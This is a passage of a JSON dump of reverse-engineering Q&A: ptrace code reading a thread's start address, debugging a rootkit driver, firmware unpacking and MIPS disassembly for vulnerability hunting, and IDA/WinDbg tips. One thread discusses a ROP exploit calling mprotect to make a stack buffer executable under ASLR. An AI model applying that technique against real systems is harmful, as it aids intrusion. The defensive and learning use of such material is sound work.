        "Body": "<h2>Problem Statement</h2>\n\n<p>I'm trying to get the address of a running thread's <code>start_routine</code> as passed in the <code>pthread_create()</code> call.</p>\n\n<h2>Research so far</h2>\n\n<p>It is apparently not in <code>/proc/[tid]/stat</code> or <code>/proc/[tid]/status</code>.</p>\n\n<p>I found that <code>start_routine</code> is a member of <code>struct pthread</code> and gets set by <code>pthread_create</code>[<a href=\"http://fxr.watson.org/fxr/source/nptl/pthread_create.c?v=GLIBC27;im=excerpts#L455\">1</a>].\nIf I knew the address of this <code>struct</code>, I could read the <code>start_routine</code> address.</p>\n\n<p>I also found <code>td_thr_get_info</code> defined in the debugging library <code>thread_db.h</code> [<a href=\"http://fxr.watson.org/fxr/source/nptl_db/td_thr_get_info.c?v=GLIBC27#L27\">2</a>]. It fills a <code>struct</code> with information about the thread, including the start function [<a href=\"http://fxr.watson.org/fxr/source/nptl_db/thread_db.h?v=GLIBC27#L259\">3</a>]. But, it needs a <code>struct td_thragent</code> as an argument and I don't know how to create it properly.</p>\n",
        "Title": "How can I get a running thread's start address on linux?",
        "Tags": "|linux|thread|",
        "Answer": "<p>Thanks to the hints of blabb and Jonathon Reinhart I was able to write a <code>get_thread_start_address()</code> function. It reads the same address used by <code>pthread_start_thread()</code> to call the start routine. In Kernel 3.2.0-4-686-pae this address is <code>GS+0x234</code>. I use <code>ptrace</code> to get the <code>GS register</code> and the actual <code>GS segment address</code>. Here is my code:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;string.h&gt;\n#include &lt;errno.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;sys/ptrace.h&gt;\n#include &lt;sys/user.h&gt;\n#include &lt;sys/wait.h&gt;\n#include &lt;asm/ldt.h&gt;\n#include &lt;asm/ptrace.h&gt;\n\nint attach(int tid);\nint detach(int tid);\nvoid print_error(char* func_name, int errnumber);\n\nint get_gs_register(int tid){\n    struct user_regs_struct regs;\n    int ret = ptrace(PTRACE_GETREGS, tid, NULL, &amp;regs);\n    if(ret == -1){\n        print_error(\"PTRACE_GETREGS\", errno);\n        return -1;\n    }\n    return regs.xgs;\n}\n\n// This is needed to get the actual GS segment address from the GS register value\nint get_thread_area_base(tid, gs){\n    struct user_desc desc;\n    memset(&amp;desc, 0, sizeof(desc));\n    int ret = ptrace(PTRACE_GET_THREAD_AREA, tid, gs / LDT_ENTRY_SIZE, &amp;desc);\n    if(ret == -1){\n        print_error(\"PTRACE_GET_THREAD_AREA\", errno);\n        return -1;\n    }\n    return desc.base_addr;\n}\n\nvoid* get_start_address(tid, start_address_pointer){\n    char start_addr_str[4];\n    int mem_file;\n    char mem_file_path[255];\n    snprintf(mem_file_path, sizeof(mem_file_path), \"/proc/%i/mem\", tid);\n    mem_file = open(mem_file_path, O_RDONLY);\n    if(mem_file == -1){\n        print_error(\"open()\", errno);\n        return (void*) -4;\n    }\n    int ret = lseek(mem_file, start_address_pointer, SEEK_SET);\n    if(ret == -1){\n        print_error(\"lseek()\", errno);\n        return (void*) -5;\n    }\n\n    ret = read(mem_file, start_addr_str, 4);\n    if(ret == -1){\n        print_error(\"read()\", errno);\n        return (void*) -6;\n    }   \n\n    return (void*) *((int*)start_addr_str);\n}\n\nint main(int argc, char* argv[]){\n    if(argc &lt;= 1){\n        printf(\"Usage: %s TID\\n\", argv[0]);\n        return -1;\n    }   \n    int tid = atoi(argv[1]);    \n    int gs;\n    int thread_area_base;\n    int start_address_offset = 0x234;\n    void* start_address;\n\n    int ret = attach(tid);\n    if(ret == -1) return -1;\n\n    gs = get_gs_register(tid);\n    if(gs == -1){\n        detach(tid);\n        return -2;\n    }\n\n    thread_area_base = get_thread_area_base(tid, gs);\n    if(thread_area_base == -1){\n        detach(tid);\n        return -3;\n    }\n    printf(\"thread_area_base: %p\\n\", (void*) thread_area_base);\n    unsigned int start_address_pointer = thread_area_base + start_address_offset;\n    printf(\"start_address_pointer: %p\\n\", (void*) start_address_pointer);\n\n    start_address = get_start_address(tid, start_address_pointer);\n    printf(\"start_address: %p\\n\", start_address);\n\n    detach(tid);\n    return 0;\n}\n\nint attach(int tid){\n    int status; \n    int ret = ptrace(PTRACE_ATTACH, tid, NULL, NULL);\n    if(ret == -1){\n        print_error(\"PTRACE_ATTACH\", errno);\n    }\n\n    ret = waitpid(-1, &amp;status, __WALL);\n    if(ret == -1){\n        print_error(\"waitpid()\", errno);\n    }\n    return ret;\n}   \n\nint detach(int tid){\n    int ret = ptrace(PTRACE_DETACH, tid, NULL, NULL);\n    if(ret == -1){\n        print_error(\"PTRACE_DETACH\", errno);\n    }\n    return ret;\n}\n\nvoid print_error(char* func_name, int errnumber){\n    printf(\"%s failed. %i, %s\\n\", func_name, errnumber, strerror(errnumber));\n}\n</code></pre>\n"
    },
    {
        "Id": "3983",
        "CreationDate": "2014-03-28T12:50:55.777",
        "Body": "<p>I've been reversing a sample of the Uroborus trojan for my own learning joy. I'm having a hard time following it once it loads a windows kernel driver that implements the rootkit.  I've set up my environment for Kernel debugging (using IDA's windbg plugin) and set a breakpoint for the new driver (it's called Fdisk.sys, so I've been typing \"bu fdisk.sys!DriverEntry\").  However, IDA never breaks when the driver is loaded. I can tell that it has run because it starts hiding a registry key (Ultra3), and dumping the memory and using Volatility to look at unloaded modules, I can see that fdisk.sys was unloaded.  I can also confirm that it's installed hooks into a number of kernel API's.  How do I get IDA/windbg to break on the driver before it gets to run? </p>\n",
        "Title": "How to break on not-yet-loaded kernel driver",
        "Tags": "|ida|malware|debugging|kernel-mode|",
        "Answer": "<p>It may be late but:\nIf you use WinDBG(kd) to debug the kernel use</p>\n\n<pre><code>sxe -c \".echo fdisk loaded;\" ld:fdisk.sys\n</code></pre>\n\n<p>this is usable in user and kernel mode and cause the debugger break-in after module loaded and before entry-point.</p>\n"
    },
    {
        "Id": "3992",
        "CreationDate": "2014-03-30T12:00:12.417",
        "Body": "<p>All right, I have a PS3 image compressed with a variation of the LZ algoritm (magic bytes <code>43 5A 32 00</code>) (I have successfully decompressed it) and what I get from the decompressed form is a set of ARGB colors/pixels (The number of bytes in the compressed file is <code>4*width*height</code> thus I know that the decompressed file problably only contain the raw ARGB data). </p>\n\n<p>Here is an image illustrating the result of rendering the ARGB data (transparency omitted to makes thing easier to make out).</p>\n\n<p><strong>Decompressed image:</strong>\n<img src=\"https://i.stack.imgur.com/N7DIl.png\" alt=\"enter image description here\"></p>\n\n<p><strong>PS3 edition screenshot:</strong></p>\n\n<p><img src=\"https://i.stack.imgur.com/ibduR.png\" alt=\"enter image description here\"></p>\n\n<p><strong>PSP edition screenshot:</strong></p>\n\n<p><img src=\"https://i.stack.imgur.com/pcJHM.jpg\" alt=\"enter image description here\"></p>\n\n<p>What I want to know is if any of you know what sort of logic this color structure use? To me, it looks like it looks at the last color in terms of the y-axis. Where zero value just gets the value of the last color of the y-axis. It kind of looks like I have to dif/sum colors together.</p>\n\n<p>I have tried varies methods. For example, here I try storing a color array with zero color and for each line, sum the unsigned integer representation of ARGB of x position in the array with the new color' unsigned integer -> <code>A+B = C</code>.</p>\n\n<p><img src=\"https://i.stack.imgur.com/UXS2C.png\" alt=\"enter image description here\"></p>\n\n<p>A-B=C, just gives pinkish giberish..</p>\n\n<p>Here are some samples of ARGB values that I use to try and find a solution:</p>\n\n<pre><code>x:0, y:24-27\n\nR   G   B\n\n137 195 255\n\n240 254 000\n\n014 000 255\n\n001 001 001\n</code></pre>\n\n<p>This should give a blueish color (comparing to Game screenshot) like: <code>145, 184, 219</code>.</p>\n\n<p>*Please notice that my image for comparison isn't exact. That is to say that I got it from the same game of another platform where another format is used. Since the image sized are different. I can say that the colors aren't 100% the same as the new one.</p>\n\n<pre><code>x:4, y:22-28\n\nR   G   B\n\n137 195 255\n\n118 168 201\n\n255 204 161\n</code></pre>\n\n<p>This too should give a dark bluerish color like: <code>020, 068, 096</code>.</p>\n\n<p>*Please notice that the compared color in the game isn't exact, the image has transparency\ntoo, so the game has problably messed with the color values of the screenshot.</p>\n\n<p>So if anybody have encountered stuff like this before and could give me a tip of some sort I would be very happy. :)</p>\n",
        "Title": "What is this way of representing color in this unknown image format",
        "Tags": "|file-format|",
        "Answer": "<p>You asked this a couple of months ago, but I'm going to answer anyway.</p>\n\n<p>First, I fear that your decompression code is buggy. There are several  horizontal lines of noise, and I'm pretty sure they're not supposed to be there.</p>\n\n<p>Your <code>A+B=C</code> guess was correct. A tell-tale sign are the visible horizontal edges but hidden vertical edges. I think your mistake was simply to do the addition with the wrong endianness.</p>\n\n<p>I wrote a little Python script:</p>\n\n\n\n<pre><code>from PIL import Image\nim = Image.open('orig.png')\nw, h = im.size\npix = im.load()\ndef add(p, q):\n    # Convert (R,G,B) tuples to RGB integers, add them, and convert back\n    pp = (p[0] &lt;&lt; 16) + (p[1] &lt;&lt; 8) + p[2]\n    qq = (q[0] &lt;&lt; 16) + (q[1] &lt;&lt; 8) + q[2]\n    r = pp + qq\n    return ((r &gt;&gt; 16) &amp; 0xFF, (r &gt;&gt; 8) &amp; 0xFF, r &amp; 0xFF)\nfor y in range(1, h):\n    for x in range(w):\n        pix[x,y] = add(pix[x, y], pix[x, y-1])\nim.save('out.png')\n</code></pre>\n\n<p>The result is this image. You can see that the top third matches the PSP image, but starting from the line of noise in the source image, the picture becomes distorted. Fix your decompression code and the picture will come out right :)</p>\n\n<p><img src=\"https://i.stack.imgur.com/c2y15.png\" alt=\"processed image\"></p>\n"
    },
    {
        "Id": "3995",
        "CreationDate": "2014-03-31T15:25:19.527",
        "Body": "<p>Assembler syntax\nBKPT #\nwhere:\n See Standard assembler syntax fields on page A6-7.\n Specifies an 8-bit value that is stored in the instruction. This value is ignored by the ARM \nhardware, but can be used by a debugger to store additional information about the \nbreakpoint.</p>\n\n<p>what should i pass to this function? where can i see that value when i am debugging? </p>\n\n<p>BKPT #0  vs BKPT #1  - is their a difference? </p>\n",
        "Title": "what does the imediate value of the BKPT opcode is being used for?",
        "Tags": "|disassembly|arm|",
        "Answer": "<p>The immediate value is not checked by the CPU but may be checked by the exception handler, e.g. to distinguish between breakpoints inserted by the debugger from those added by the programmer/compiler. For example, the <a href=\"http://www.keil.com/support/man/docs/ARMCC/armcc_pge1358787048379.htm\" rel=\"nofollow noreferrer\">ARM semihosting interface</a> uses <code>BKPT 0xAB</code> on ARMv7-M and presumably won't work with other immediates.</p>\n"
    },
    {
        "Id": "3999",
        "CreationDate": "2014-04-01T02:55:05.873",
        "Body": "<p>Question came up in a reverse engineering class.  The prof asked this question.  I mean, in the grand scheme of things, while loops == for loops, I don't have a problem with that.  </p>\n\n<p>IDA Pro book... Google... not seeing anything online here.  </p>\n\n<p>So why does IDA pro never produce for loops in its pseudocode generator?</p>\n",
        "Title": "Why does IDA Pro's pseudocode function not produce for loops?",
        "Tags": "|ida|ida-plugin|",
        "Answer": "<p>Just because you haven't seem them does not mean they don't exist. In my experience the decompiler produces <code>for</code> loops all the time.</p>\n\n<p><strong>EDIT</strong>: Here's just one example:</p>\n\n<pre><code> loc_804B520:\n                 xor     edx, edx\n                 jmp     short loc_804B52B\n\n loc_804B524:\n                 mov     al, [edi+edx]\n                 mov     [ebx+edx], al\n                 inc     edx\n\n loc_804B52B:\n                 cmp     edx, esi\n                 jl      short loc_804B524\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>  for ( i = 0; i &lt; a2; ++i )\n    *(_BYTE *)(v2 + i) = *(_BYTE *)(a1 + i);\n</code></pre>\n"
    },
    {
        "Id": "4003",
        "CreationDate": "2014-04-01T13:04:04.667",
        "Body": "<p>There are some excellent DBI frameworks for Windows (Intel PIN, DynamoRIO...) but unfortunately none of them expose an IR afaik.\nI am looking for something like Valgrind's VEX that works on Windows.</p>\n\n<p>Any pointers / references would be greatly appreciated. Thanks in advance!</p>\n",
        "Title": "Is there any Dynamic Binary Instrumentation frameworks for Windows exposing an Intermediate Representation?",
        "Tags": "|windows|dynamic-analysis|",
        "Answer": "<p>dynamoRIO does expose an IR (see <a href=\"http://dynamorio.org/docs/dr__ir__instr_8h.html\" rel=\"nofollow\">documentation</a>).\nThere is just no \"written textual\" form of it, it is basically a 1:1 mapping of the underlying assembly language and thus very close to the underlying architecture.</p>\n"
    },
    {
        "Id": "4008",
        "CreationDate": "2014-04-02T16:29:13.983",
        "Body": "<p>For the sake of this question I am going to simplify things. Basically I have a CMP that is comparing a memory address to a constant value. I want to change the constant value to force a match.</p>\n\n<p>I tried changing the constant value by hex editing and changing the value in ollydbg. Both methods cause the application to behave in an undesirable way so there must be a double check which checks the constant value. I have not found this second check yet.</p>\n\n<p>Now this is where it gets interesting, if I set a BP with ollydbg on the CMP command without changing anything the application behaves as if there was a change. I have confirmed this multiple times, I do not even have to stop or restart the application, once a BP is set the application behaves in a very distinguishable way and then returns to normal as soon as I remove the BP. This BP is never being hit! I have done some further testing and this only happens if the BP is set on the CMP command or the following 2 commands which are a JE and a MOV</p>\n\n<p>So I am wondering what does ollydbg write to memory to set a BP? and is this detectable?</p>\n",
        "Title": "Ollydbg breakpoint causing application to perform differently without BP being hit",
        "Tags": "|ollydbg|memory|",
        "Answer": "<blockquote>\n  <p>So I am wondering what does ollydbg write to memory to set a BP? and\n  is this detectable?</p>\n</blockquote>\n\n<p>By default, OllyDbg overwrites the beginning of an instruction with <code>INT 3</code> (machine code <code>0xCC</code>) for a software breakpoint (though it hides this from your view in order to simplify things). This is configurable in OllyDbg v2, which allows you to instead use <code>INT 1</code>, <code>HLT</code>, <code>CLI</code>, etc. for software breakpoints.</p>\n\n<p>Both OllyDbg v1 and OllyDbg v2 allow you to use hardware breakpoints or memory breakpoints instead of software breakpoints. All three types of breakpoints are detectable by the debuggee.</p>\n"
    },
    {
        "Id": "4010",
        "CreationDate": "2014-04-03T01:58:01.033",
        "Body": "<p>How can I find the register value of another process at a specific address using python pydbg or any other module that can do that?</p>\n\n<p>Lets say that:</p>\n\n<pre><code>Address               opcode\n006122CB              mov eax, [ecx+08]\n</code></pre>\n\n<p>So, I want to find the value of the ecx register at this address.</p>\n\n<p>Windows 7 x64 bit</p>\n\n<p>Program x32 bit</p>\n",
        "Title": "Find register value of a remote process - pydbg",
        "Tags": "|debugging|python|",
        "Answer": "<pre><code>:\\&gt;cat memaccess.py\nfrom pydbg import *\nfrom pydbg.defines import *\n\ndef handler_breakpoint (pydbg):\n   if pydbg.first_breakpoint:\n      return DBG_CONTINUE\n\n   context = dbg.get_thread_context(dbg.h_thread)\n   print \"eip = %08x\" % context.Eip\n   print \"edi = %08x\" % context.Edi\n   return DBG_CONTINUE\n\ndbg = pydbg()\ndbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)\ndbg.load(\"c:\\\\windows\\\\system32\\\\calc.exe\")\ndbg.bp_set(0x101248a)\ndbg.resume_all_threads()\npydbg.debug_event_loop(dbg)\n\n:\\&gt;python memaccess.py\neip = 0101248a\nedi = 7c80b741\n</code></pre>\n\n<p>confirming with windbg </p>\n\n<p><strong>:>cdb -c \"bp 0x101248a;g;r Edi;q\" calc</strong></p>\n\n<pre><code>0:000&gt; cdb: Reading initial command 'bp 0x101248a;g;r Edi;q'\n\nBreakpoint 0 hit\nedi=7c80b741\nquit:\n\n:\\&gt;\n</code></pre>\n"
    },
    {
        "Id": "4019",
        "CreationDate": "2014-04-04T19:57:12.843",
        "Body": "<p>My issue is all about setting the breakpoint on x64 Windbg. \nFor x86 to combine IDA and Windbg analysis nothing is required. Just copy and paste the IDA address value and it works just fine.\nFor instance, in x86 I have <code>sub_401000</code>, so, the corresponding breakpoint is set by <code>bp 401000</code><br>\nIn x64 I have address <code>sub_140001000</code>, so, I'm trying to set as follows <code>bp 140001000</code> and get no result at all. Application won't reach my breakpoint. That's why, I've just set <code>bp 1401172F1</code> that reaches the address of interest for sure.</p>\n\n<p>But now I've faced with error </p>\n\n<pre><code>Unable to insert breakpoint 0 at 00000001`401172f1, Win32 error 0n998\nThe breakpoint was set with BP.  If you want breakpoints\nto track module load/unload state you must use BU.\nbp0 at 00000001`401172f1 failed\nWaitForEvent failed\n</code></pre>\n\n<p>All these answers make sense, but setting breakpoint for this rva leads to error for some reason. Maybe I should try something else?</p>\n\n<pre><code>0:000&gt; lmi\nstart             end                 module name            \n00000000`77570000 00000000`77719000   ntdll      (pdb symbols)          C:\\Windows\\SYSTEM32\\ntdll.dll\n00000000`77740000 00000000`77743000   normaliz   (deferred)             \n00000001`3fd90000 00000001`402e0000   module_of_interest   (no symbols)\n</code></pre>\n",
        "Title": "Windbg x64 setting breakpoint",
        "Tags": "|ida|dynamic-analysis|windbg|x86-64|",
        "Answer": "<p>confirm if addres is accessible and correct </p>\n\n<pre><code>u 0x1```401172f1 \nor\ndb 0x1`401172f1 `\n</code></pre>\n\n<p>then set a bp 0x1 <code>``401172f1</code></p>\n\n<p>preferably sign/zero extend the address using <code>backticks</code> when you are not using a symbol to set breakpoints </p>\n\n<p>deferred breakpoints  <code>(Bu breakpoints)</code> are more versatile than bp breakpoints as they are tied to symbol and not to specific address and thus are not influenced by aslr / loading / unloading of images</p>\n"
    },
    {
        "Id": "4021",
        "CreationDate": "2014-04-05T05:06:24.430",
        "Body": "<p>I was trying out a ROP exploit -- I'm trying to make an mprotect system call using ROP(not a libc call), to try and make the buffer executable. I tried stracing the server process and ran the exploit, only to see that results in an error as follows :- </p>\n\n<pre><code>mprotect(0xbffdda10, 65536, PROT_READ|PROT_WRITE|PROT_EXEC) = -1 EINVAL(Invalid argument)\n</code></pre>\n\n<p>Later on, I tried a different address <code>0x08048000</code> and I could see that the call worked(strace output and /proc/pid/maps confirms this). <code>Given a buffer address how could I guess/find the correct page address that I could use to make a call to mprotect.</code></p>\n\n<p>I think I figured out the reason why this happens. ASLR is enabled and the page that starts at 0x08048000 does not change addresses. However, the page that corresponds to the buffer changes addresses.\nThe buffer address can be leaked -- so I tried checking if the difference between the start of the page and the buffer address remains constant, it does not.</p>\n",
        "Title": "Calculating the page address a buffer belongs to",
        "Tags": "|linux|exploit|",
        "Answer": "<p>I'm not sure, but you probably experiencing the following issue:\nUsually page addresses are rounded by page size. It depends on page size in system you working with. So you can calculate this address by making AND operation with constant <code>~(PAGE_SIZE-1)</code>.</p>\n\n<p>If it doesn't work, try to call call <code>mprotect</code> twice:</p>\n\n<ol>\n<li>first do read and write without execute, </li>\n<li>change the memory, and after that call <code>mprotect</code> with execute bit but without write bit.</li>\n</ol>\n"
    },
    {
        "Id": "4034",
        "CreationDate": "2014-04-07T16:12:04.103",
        "Body": "<p>I am trying to extract the squashfs filesystem of my router. <a href=\"http://www.downloads.netgear.com/files/GDC/WNDR3400V2/WNDR3400v2_V1.0.0.38_1.0.61.zip\" rel=\"noreferrer\">Here is firmware</a>.</p>\n\n<p>First, I unzipped the file. Next, I ran <code>binwalk</code> to get some information about the file.</p>\n\n<pre><code>DECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n58          0x3A        TRX firmware header, little endian, header size: 28 bytes,  image size: 6656000 bytes, CRC32: 0x2B1713B2 flags/version: 0x10000\n86          0x56        LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 3614368 bytes\n1282426     0x13917A    Squashfs filesystem, little endian, non-standard signature,  version 3.0, size: 5367357 bytes,  853 inodes, blocksize: 65536 bytes, created: Wed Aug  7 05:08:47 2013 \n</code></pre>\n\n<p>I then ran <code>binwalk -e</code> to extract the contents of the file. I got three files:</p>\n\n<pre><code>.\n\u251c\u2500\u2500 13917A.squashfs\n\u251c\u2500\u2500 56\n\u2514\u2500\u2500 56.7z\n</code></pre>\n\n<p>Running <code>unsquashfs</code> on <code>13917A.squashfs</code> failed, saying it was unable to find the magic block. This was because the file was using a non standard magic. Changing the magic to a standard one made <code>unsquashfs</code> and <code>file</code> detect it as a squashfs file system. But <code>unsquashfs</code> did not complete successfully:</p>\n\n<pre><code>caff@UbunutuX2:~/Netgear/test$ unsquashfs 13917A.squashfs \nReading a different endian SQUASHFS filesystem on 13917A.squashfs\nFilesystem on 13917A.squashfs is (768:0), which is a later filesystem version than I support!\n</code></pre>\n\n<p>I also tried extracting the file system by using <a href=\"https://code.google.com/p/firmware-mod-kit\" rel=\"noreferrer\">Jeremy Collake\u2019s Firmware Mod Kit</a>. This failed also:</p>\n\n<pre><code>caff@UbunutuX2:~/Netgear/test$ /opt/firmware-mod-kit/trunk/unsquashfs_all.sh 13917A.squashfs \nAttempting to extract SquashFS .X file system...\n\n\nTrying ./src/others/squashfs-3.4-nb4/unsquashfs-lzma... Skipping others/squashfs-hg55x-bin (wrong version)...\nFile extraction failed!\n</code></pre>\n\n<p>How do I extract this squashfs file system?</p>\n",
        "Title": "Router Decompiling",
        "Tags": "|firmware|",
        "Answer": "<p>After unziping the arhive, run <code>binwalk</code> with</p>\n\n<pre><code>binwalk -eM *.chm\n</code></pre>\n\n<p>Flag e stands for extract automatically,and M for <code>--matryoshka</code> or recursively scanning and extracting.</p>\n\n<p>After a few recursive unpackings, you'll get a squashfs-root dir with what you want I guess. </p>\n\n<p>For what it's worth, I tried this with binwalk version 1.2.1.</p>\n"
    },
    {
        "Id": "4040",
        "CreationDate": "2014-04-08T19:04:04.390",
        "Body": "<p>I am searching for security vulnerabilities in the firmware of <a href=\"http://www.downloads.netgear.com/files/GDC/WNDR3400V2/WNDR3400v2_V1.0.0.38_1.0.61.zip\" rel=\"nofollow noreferrer\">this router</a>, its architecture is mips. <a href=\"https://reverseengineering.stackexchange.com/questions/4034/router-decompiling\">I have successfully unpacked the file system</a>. I would like to disassemble the http daemon, located at <code>/usr/sbin/httpd</code>. How can I disassemble this program and run it in <code>spim</code>?</p>\n",
        "Title": "Disassembling MIPS Binaries",
        "Tags": "|disassembly|mips|",
        "Answer": "<p>Regarding the disassembling part,  you may want to check <strong>JEB</strong> (version >= 2.3.0), which provides advanced disassembly and decompilation of MIPS 32-bit code.</p>\n\n<p>The MIPS debugger is only available for Android Linux though, so you won't be able to debug your program using this tool.</p>\n\n<p>There is a demo available on <a href=\"https://www.pnfsoftware.com/jeb2/mips\" rel=\"nofollow noreferrer\">PNF Software's website</a>.</p>\n"
    },
    {
        "Id": "4047",
        "CreationDate": "2014-04-09T16:31:47.100",
        "Body": "<p>In IDA I can easily change the size of the local variables using <code>Alt+P</code> and then changing the \"Local Variables area\" field to the desired value.</p>\n\n<p>However, how can I do this with the parameters size? IDA has misanalyzed the function and got the result that it has about 30 kilobytes arguments when it actually just has 30 kilobytes variables.</p>\n",
        "Title": "How do I adjust the length of the parameters in IDA?",
        "Tags": "|ida|functions|",
        "Answer": "<p>Open the stack frame window (<kbd>Ctrl-K</kbd> or double-click on a variable), then delete bogus arguments with <kbd>U</kbd>.</p>\n"
    },
    {
        "Id": "4053",
        "CreationDate": "2014-04-10T13:33:11.543",
        "Body": "<p>I have an old device connected to personal computer via specific PCI card. Device is handled with C++ control application, which is not able to run on new versions of Windows. Manufacturer of that device was consumed by big company a while ago and do not continue on development of such devices.</p>\n\n<p>What I want to do is disassemble communication protocol between this device and computer, respective between the software and PCI card; however, I am complete beginner. I downloaded IDA tool. I am able to trace application and find couple of subroutines that are often trigerred when application is sending commands to the device, but these subroutines contains others etc etc. \nAlso I could not find any meaningful strings in the disassembled application (i was expecting many short string instructions with numeric parameters).</p>\n\n<p>I would like to ask you for some advice, what I should do at first, or what to be careful on when I want to detect communication protocol.</p>\n",
        "Title": "Disassemble communication protocol for an old device",
        "Tags": "|ida|c++|communication|",
        "Answer": "<p>You may want to start with something simple like monitoring the API calls the controller application is doing. I'm not sure how old your Windows version is but it might be worth giving <a href=\"http://www.rohitab.com/apimonitor\" rel=\"nofollow\">API Monitor</a> a try. It gives you a good start to monitoring the application at least and you get to trivially see how it interacts with the operating system.</p>\n\n<p>Essentially what you're looking for is probably <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858%28v=vs.85%29.aspx\" rel=\"nofollow\">CreateFile</a> followed by <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa363216%28v=vs.85%29.aspx\" rel=\"nofollow\">DeviceIoControl</a> calls which use the same handle as returned from CreateFile. This is one way for an application to interact with kernel mode software. Another option is to look for a CreateFile call followed by <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa365467%28v=vs.85%29.aspx\" rel=\"nofollow\">ReadFile</a> and <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747%28v=vs.85%29.aspx\" rel=\"nofollow\">WriteFile</a> which is another common way for user space applications to communicate with kernel mode drivers.</p>\n\n<p>If your software is so old that we're talking Windows 9x you should probably use something like SoftICE.</p>\n\n<p>Once you've figured out these things you'd need to examine the driver for the card and look for the handlers for the DeviceIoControl calls you saw before or the ReadFile, WriteFile handling. We've had a similar discussion <a href=\"https://reverseengineering.stackexchange.com/questions/3955/how-to-reverse-deviceiocontrol\">here</a> and there is a decent resource available as <a href=\"http://www.reverse-engineering.info/SystemCoding/SkeletonKMD_Tutorial.htm\" rel=\"nofollow\">Kernel Mode Driver Tutorial by Clandestiny</a> which is getting a bit long in the tooth but still applies.</p>\n\n<p>This is quite a bit of work and I would strongly advice you to buy something like <a href=\"http://rads.stackoverflow.com/amzn/click/1118787315\" rel=\"nofollow\">Practical Reverse Engineering</a>, as well as <a href=\"http://rads.stackoverflow.com/amzn/click/1593273851\" rel=\"nofollow\">A bug hunter's diary</a>. They both discuss the issues of how to reverse engineer user space and kernel mode interaction. If you're very serious about this I would recommend also getting a copy of <a href=\"http://rads.stackoverflow.com/amzn/click/0735648735\" rel=\"nofollow\">Windows Internals, Part 1</a> and <a href=\"http://rads.stackoverflow.com/amzn/click/073566587\" rel=\"nofollow\">Windows Internals, Part 2</a>. </p>\n\n<p>If you want to look at the actual PCI traffic, which is probably not what you want to do, I think you have to go the hardware route. There's a PCI bus analyzer available from <a href=\"http://www.silicon-control.com/pci650.htm\" rel=\"nofollow\">Silicon Control</a>, then there's the expensive solutions from the big names, LeCroy and Agilent. Although I'm not sure if they still make PCI bus analyzers anymore or if everyone has moved on to PCIe. You also have the option of breaking out the bus yourself and using an FPGA to sniff the signals. ElectroFriends has <a href=\"http://electrofriends.com/articles/computer-science/protocol/introduction-to-pci-protocol/\" rel=\"nofollow\">a short introduction to the PCI bus</a> available.</p>\n"
    },
    {
        "Id": "4059",
        "CreationDate": "2014-04-12T09:43:28.897",
        "Body": "<p>I have put alot of work into renaming and fixing lvar types to better understand the code I made a mistake when I was converting some <code>unk_dword</code> to array I missed that it wasn't set to db but rather dd and it overwritten lots of stuff I lost many my own stuff which I know I won't get back but I can live with that, but I can't seem to get the imports to evaluate with the proper names like they were before.</p>\n\n<p>I tried <code>Load-&gt;FLIRT signature file</code> with <code>Microsoft VisualC 2-10/net runtime</code> which seems to be right, didn't do anything.</p>\n\n<p>In output Window I'm getting</p>\n\n<p><code>004DB200: Already data or code (hint: make 'unexplored')</code></p>\n\n<p>I guess I need to make it unexplored? how would I do that? I tried Undefining the Imports with the <code>U Key</code> it doesn't work.</p>\n\n<p>Here is some screenshots how it looks</p>\n\n<p>Before looked like this \n<br>\n<img src=\"https://i.stack.imgur.com/rUkHC.png\" alt=\"before imports\">\n<br>\nAfter looks like this\n<br>\n<img src=\"https://i.stack.imgur.com/XJOXy.png\" alt=\"after imports\">\n<br>\nHow it really looks like\n<br>\n<img src=\"https://i.stack.imgur.com/VHy63.png\" alt=\"imports declares\">\n<br>\nHere is how the bytes used to look like and how they look now (8 extra bytes)\n<br>\n<img src=\"https://i.stack.imgur.com/WFrws.png\" alt=\"import bytes\"></p>\n",
        "Title": "IDA PRO Imports Names Lost in a accident, Reanalyze does nothing. How to make unexplored imports?",
        "Tags": "|ida|",
        "Answer": "<p><strong>This fix doesn't save to database or is overwritten upon loading IDB database it always reverts back to messed up! (I think there is something I missed to change)</strong></p>\n\n<p>Not the right way to do it.. but I managed to solve this using <code>IDC Scripts</code></p>\n\n<p>Open a fresh IDA PRO let it analyze then go to <code>File -&gt; Produce File -&gt; Dump Database to IDC File.</code></p>\n\n<p>Open dumped <code>idc</code> file in notepad and search for the start of Imports comments such as <code>; Imports from GDI32.dll</code> since thats where the first Import starts.</p>\n\n<p>Now just copy+paste from the <code>idc</code> file all the way to the end of the function before the bracket.</p>\n\n<p>Backup your messed up <code>project.idb</code> file because this may mess up it even more if you are not careful!.</p>\n\n<p>Now go to <code>File-&gt;IDC Command...</code> and paste something I posted at the end of this post.</p>\n\n<p><strong>IDC Command Text box has limitations you can't paste too much so you need to split up by blocks, I advise make sure your block starts with <code>MakeDword</code> don't end with that.</strong></p>\n\n<p>Here was my first Imports from <code>idc</code> file what it generated below.<br>\n<code>(This will only work for my application only obviously, just showing you what you need to look for.)</code></p>\n\n<pre><code>auto x;\n#define id x\nMakeArray   (0X4DA0EC,  0XF14);\nExtLinA     (0X4DB200,  0,  \"; \");\nExtLinA     (0X4DB200,  1,  \"; Imports from GDI32.dll\");\nExtLinA     (0X4DB200,  2,  \"; \");\nExtLinA     (0X4DB200,  3,  \"; Section 4. (virtual address 000DB000)\");\nExtLinA     (0X4DB200,  4,  \"; Virtual size                  : 0000090E (   2318.)\");\nExtLinA     (0X4DB200,  5,  \"; Section size in file          : 00000A00 (   2560.)\");\nExtLinA     (0X4DB200,  6,  \"; Offset to raw data for section: 0002FC00\");\nExtLinA     (0X4DB200,  7,  \"; Flags C0000040: Data Readable Writable\");\nExtLinA     (0X4DB200,  8,  \"; Alignment     : default\");\nMakeDword   (x=0X4DB200);\nOpOff       (x, 0,  0);\nOpOff       (x, 128,    0);\nMakeName    (0X4DB200,  \"GetObjectA\");\nMakeDword   (x=0X4DB204);\nOpOff       (x, 0,  0);\nOpOff       (x, 